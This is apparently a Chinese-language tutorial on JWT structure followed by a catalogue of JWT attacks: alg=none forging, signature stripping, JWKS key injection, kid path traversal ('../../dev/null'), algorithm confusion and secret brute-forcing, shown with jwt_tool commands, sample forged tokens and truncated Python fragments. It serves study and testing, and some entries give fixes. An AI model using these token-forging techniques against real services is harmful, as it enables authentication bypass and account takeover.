JWT基础知识
JWT简介
JWT是JSON Web Token的缩写,是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)。JWT本身没有定义任何技术实现,它只是定义了一种基于Token的会话管理的规则,涵盖Token需要包含的标准内容和Token的生成过程,特别适用于分布式站点的单点登录(SSO) 场景。
JWT结构
JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.
进行连接形成最终传输的字符串。
计算的公式:JWTString=Base64(Header).Base64(Payload).HMACSHA256(base64UrlEncode(header)+”.”+base64UrlEncode(payload),secret)
Header
JWT头是一个描述JWT元数据的JSON对象,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。最后,使用Base64 URL算法将上述JSON对象转换为字符串保存。
1 | { |
Payload
有效载荷部分,是JWT的主体内容部分,也是一个JSON对象,包含需要传递的数据。 JWT指定七个默认字段供选择:
1 | iss (issuer) : 签发人 |
除以上默认字段外,我们还可以自定义私有字段,一般会把包含用户信息的数据放到payload中,如下例:
1 | { |
请注意,默认情况下JWT是未加密的,因为是采用base64算法,拿到JWT字符串后可以转换回原本的JSON数据,任何人都可以解读其内容,因此不要构建隐私信息字段,比如用户的密码一定不能保存到JWT中,以防止信息泄露。JWT只是适合在网络中传输一些非敏感的信息
Signature
签名哈希部分是对上面两部分数据签名,需要使用base64编码后的header和payload数据,通过指定的算法生成哈希,以确保数据不会被篡改。首先,需要指定一个密钥(secret)。该密码仅仅为保存在服务器中,并且不能向用户公开。然后,使用header中指定的签名算法(默认情况下为HMAC SHA256)生成签名,如下所示
在服务端接收到客户端发送过来的JWT token之后:
header
和payload
可以直接利用base64解码出原文,从header
中获取哈希签名的算法,从payload
中获取有效数据- signature由于使用了不可逆的加密算法,无法解码出原文,它的作用是校验token有没有被篡改。服务端获取header中的加密算法之后,利用该算法加上secretKey对header、payload进行加密,比对加密后的数据和客户端发送过来的是否一致。注意secretKey只能保存在服务端,而且对于不同的加密算法其含义有所不同,一般对于MD5类型的摘要加密算法,secretKey实际上代表的是盐值
JWT种类
JWT的具体实现可以分为以下几种:
nonsecure JWT
:未经过签名,不安全的JWTJWS
:经过签名的JWTJWE
:payload
部分经过加密的JWT
nonsecure JWT
未经过签名,不安全的JWT。其header
部分没有指定签名算法
1 | { |
并且也没有Signature
部分
JWS
JWS ,也就是JWT Signature,其结构就是在之前nonsecure JWT的基础上,在头部声明签名算法,并在最后添加上签名。创建签名,是保证jwt不能被他人随意篡改。我们通常使用的JWT一般都是JWS
为了完成签名,除了用到header信息和payload信息外,还需要算法的密钥,也就是secretKey。加密的算法一般有2类:
- 对称加密:secretKey指加密密钥,可以生成签名与验签
- 非对称加密:secretKey指私钥,只用来生成签名,不能用来验签(验签用的是公钥)
到目前为止,jwt的签名算法有三种:
- HMAC【哈希消息验证码(对称)】:HS256/HS384/HS512
- RSASSA【RSA签名算法(非对称)】(RS256/RS384/RS512)
- ECDSA【椭圆曲线数据签名算法(非对称)】(ES256/ES384/ES512)
JWT常见安全问题
签名算法可被修改为none(CVE-2015-9235)
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
方式一:原有payload的数据不被改变基础上而进行未校验签名算法
如下为测试的JWT
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg |
在 https://jwt.io/ 进行解析
使用jwt_tool进行攻击(该工具可以在不改变原有payload数据的基础上而生成没有签名算法的token)
1 | python3 .\jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg -X a |
可以看到生成了四个token(其实就是none大小写),我们将第一个token解析查看下
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19. |
也可以使用python脚本生成
1 | import jwt |
方式二:原有payload的数据被改变基础上而进行没校验签名算法
使用python3的pyjwt模块,修改payload中的数据,利用签名算法none漏洞,重新生成令牌
1 | >>> import jwt |
得到的token为
1 | eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19. |
修复方法:JWT 配置应该只指定所需的签名算法
未校验签名
服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。
比如测试的JWT为
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg |
通过在线工具jwt.io修改payload数据
或者删除signature,再次请求token认证:
1 | eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ==. |
JWKS公钥注入 ——伪造密钥(CVE-2018-0114)
创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌
攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。
使用jwt_tool的-I标志生成一个新的密钥对,注入包含公共密钥的JWKS,并使用私有密钥对令牌进行签名
1 | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X i |
修复方案:JWT 配置应明确定义接受哪些公钥进行验证
空签名(CVE-2020-28042)
从令牌末尾删除签名,使用jwt_tool进行攻击
1 | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X n |
敏感信息泄露
JWT的header头base64解码可泄露敏感数据如密钥文件或者密码或者注入漏洞
从解码出的header中可以得到其认证类型为JWT,加密算法为RS256,kid指定加密算法的密钥,密钥KID的路径为:keys/3c3c2ea1c3f113f649dc9389dd71b851k,则在 Web 根目录中查找 /key/3c3c2ea1c3f113f649dc9389dd71b851k 和 /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem
KID参数漏洞
密钥 ID (kid) 是一个可选header,是字符串类型,用于表示文件系统或数据库中存在的特定密钥,然后使用其内容来验证签名。
任意文件读取
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
在 linux系统中/dev/null被称为空设备文件,并且总是不返回任何内容,可绕过进行任意文件读取
1 | python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -pc login -pv "ticarpi" |
参数说明:
-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 “../../dev/null”,-pc 设置 payload 的申明变量名如:login,-pv 设置 申明变量login的值为 “ticarpi”
或者可以使用 Web 根目录中存在的任何文件,例如 CSS 或 JS,并使用其内容来验证签名。
1 | python3 jwt_tool.py -I -hc Kid -hv "路径/of/the/file" -S hs256 -p "文件内容" |
SQL注入
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
命令注入
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
泄露公钥-将加密算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)
JWT最常用的两种算法是HMAC(非对称加密算法)和RSA(非对称加密算法)。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证
将算法RS256修改为HS256(非对称密码算法=>对称密码算法)
方式一:在原payload不被修改的基础上,并将算法RS256修改为HS256
1 | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.BOiukQghoC-t2nmM5w9SUZURv9sw0FNtmfbzirKi6EEvcqhcjTaeQF6-crCAjLxNoR84A_P8MY5mGL5ZrgDGTbfsXLbMawewaavG090FkvhCkWuPla95LJZsM0H2fFa9PpHruYmWUo9uBVRILpBXLtQDnznTPdbjwXleX3Yr0M4qEKDTPxQzO62O3vSizBm8hzgEnNkiLWPOqfTLXMBf4W0q_4V0A7tK0PoEuoVnsiB1AmHeml4ez2Ksr4m9AqAW52PgrCa9uBEICU3TlNRcXvmiTbmU_xU4W5Bu010SfpxHo3Bc8yEZvLOKC5xZ2zqUX3HJhA_4Bzxu0nmev13Yag -X k -pk public.pem |
方式二:在原payload被修改的基础上,并将算法RS256修改为HS256
通过以下脚本修改数据并重新生成token:
1 | # coding=utf-8 |
签名密钥可被爆破
HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。
1 | python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE -C -d /usr/share/wordlists/fasttrack.txt |
获得的密钥key通过在线jwt.io在线修改数据,重新生成token
泄露token的私钥文件
通过泄露的私钥文件脚本加密得到token:
1 | import jwt |